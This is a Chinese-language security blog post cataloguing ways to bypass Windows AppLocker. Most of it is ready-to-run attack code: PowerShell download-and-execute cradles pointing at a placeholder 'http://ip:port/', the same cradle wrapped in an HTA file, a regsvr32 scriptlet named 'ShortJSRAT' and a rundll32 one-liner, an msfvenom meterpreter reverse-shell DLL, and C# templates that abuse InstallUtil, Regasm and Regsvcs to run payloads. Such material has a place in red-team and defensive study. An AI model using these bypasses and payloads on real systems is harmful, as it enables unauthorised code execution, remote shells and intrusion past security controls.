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Evi1cg's blog * 首页 * 标签 * 分类 * 归档 * 工具 * 友链 * 搜索 APPLOCKER BYPASS TECHNIQUES 发表于 2016-09-12 | 分类于 奇技淫巧 from: https://www.youtube.com/watch?v=z04NXAkhI4k 0X00 COMMAND 和 POWERSHELL 没被禁用,脚本被禁用 1、直接使用CMD POWERSHELL执行 Powershell: 复制 1 IEX (New-Object Net.WebClient).DownloadString('http://ip:port/') Command: 复制 1 powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/') 2、管道 Powershell: 复制 1 Get-Content script.ps1 | iex Command: 复制 1 cmd.exe /K < payload.bat 3、HTA payload.hta 复制 1 2 3 4 5 6 7 8 9 10 <HTML> <HEAD> <script language="VBScript"> Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')" </script> </HEAD> <BODY> </BODY> </HTML> 4、REGSVR32.EXE 复制 1 regsvr32 /u /n /s /i:payload.sct scrobj.dll 复制 1 regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll payload.sct: 复制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ rat="powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"; new ActiveXObject("WScript.Shell").Run(rat,0,true); ]]> </script> </registration> </scriptlet> 5、RUNDLL32 payload: 复制 1 rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');") 6、DLL/CPL payload.dll 复制 1 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.127.132 lport=8888 -f dll -o payload.dll 运行: 复制 1 rundll32 shell32.dll,Control_RunDLL payload.dll 将dll重命名为cpl,双击运行。 7、NISHANG 文件BACKDOOR nishang client http://drops.wooyun.org/tips/8568 0X01 可执行目录 通过ps脚本扫描可写入的路径 下载地址:http://go.mssec.se/AppLockerBC 扫描可执行路径: 绕过AppLocker执行: 0X02 禁用POWERSHELL以后 配置禁用powershell 禁用以后再次打开powershell 1、通过.NET执行POWERSHELL 通过.Net执行powershell进行绕过: C# templae powershell.cs 复制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 using System; using System.Management.Automation; namespace Powershell { class Program { static void Main(string[] args) { PowerShell ps = PowerShell.Create(); ps.AddCommand("Invoke-Expression"); ps.AddArgument("payload"); ps.Invoke(); } } } 编译exe以后不能直接运行,可以放到可执行目录执行,调用powershell。 2、INSTALLUTIL 参考1:http://drops.wooyun.org/tips/8862 参考2: http://drops.wooyun.org/tips/8701 InstallUtil.cs 复制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 using System; using System.Management.Automation; namespace Whitelist { class Program { static void Main(string[] args) { } } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { PowerShell ps = PowerShell.Create(); ps.AddCommand("Invoke-Expression"); ps.AddArgument("payload"); ps.Invoke(); } } 编译以后用/U参数运行: 复制 1 2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe 3、REGASM & REGSVCS Regasm.cs 复制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 using System; using System.EnterpriseServices; using System.Runtime.InteropServices; using System.Management.Automation; namespace regsvcser { public class Bypass : ServicedComponent { public Bypass() { Console.WriteLine("I am a basic COM Object"); } [ComUnregisterFunction] //This executes if registration fails public static void UnRegisterClass ( string key ) { PowerShell ps = PowerShell.Create(); ps.AddCommand("Invoke-Expression"); ps.AddArgument("payload"); ps.Invoke(); } } } 使用方式为: 复制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Create Your Strong Name Key -> key.snk $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll [OR] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll //Executes UnRegisterClass If you don't have permissions C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll //This calls the UnregisterClass Method 4、NISHANG 文件BACKDOOR 虽然powershell被禁用了,但是仍然可执行shellcode。可以使用hta,macro等方式进行。 0X03 提权 提权到管理员权限,即可执行突破AppLocker的限制,执行exe和脚本 ------本文结束,感谢阅读------ * 本文作者: Evi1cg * 本文链接: https://evi1cg.github.io/archives/AppLocker_Bypass_Techniques.html * 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处! # bypass # applocker Shellter Custom payload Bypassing Applocker with MSBuild.exe 0 comments Anonymous Markdown is supportedPreviewLogin with GitHub Be the first person to leave a comment! * 文章目录 * 站点概览 Evi1cg 此博客主要用来记录自己技术生涯中所学的一些知识,用来分享和备忘。 104 日志 7 分类 54 标签 RSS GitHub Twitter 微博 E-Mail 1. 1. 0x00 Command 和 Powershell 没被禁用,脚本被禁用 1. 1.1. 1、直接使用cmd powershell执行 2. 1.2. 2、管道 3. 1.3. 3、hta 4. 1.4. 4、Regsvr32.exe 5. 1.5. 5、rundll32 6. 1.6. 6、dll/cpl 7. 1.7. 7、nishang 文件backdoor 2. 2. 0x01 可执行目录 3. 3. 0x02 禁用powershell以后 1. 3.1. 1、通过.Net执行powershell 2. 3.2. 2、InstallUtil 3. 3.3. 3、Regasm & Regsvcs 4. 3.4. 4、nishang 文件backdoor 4. 4. 0x03 提权 © 2015 – 2022 Evi1cg 我已在此等候你 8 年 4 月 21 天 17 小时 3 分 15 秒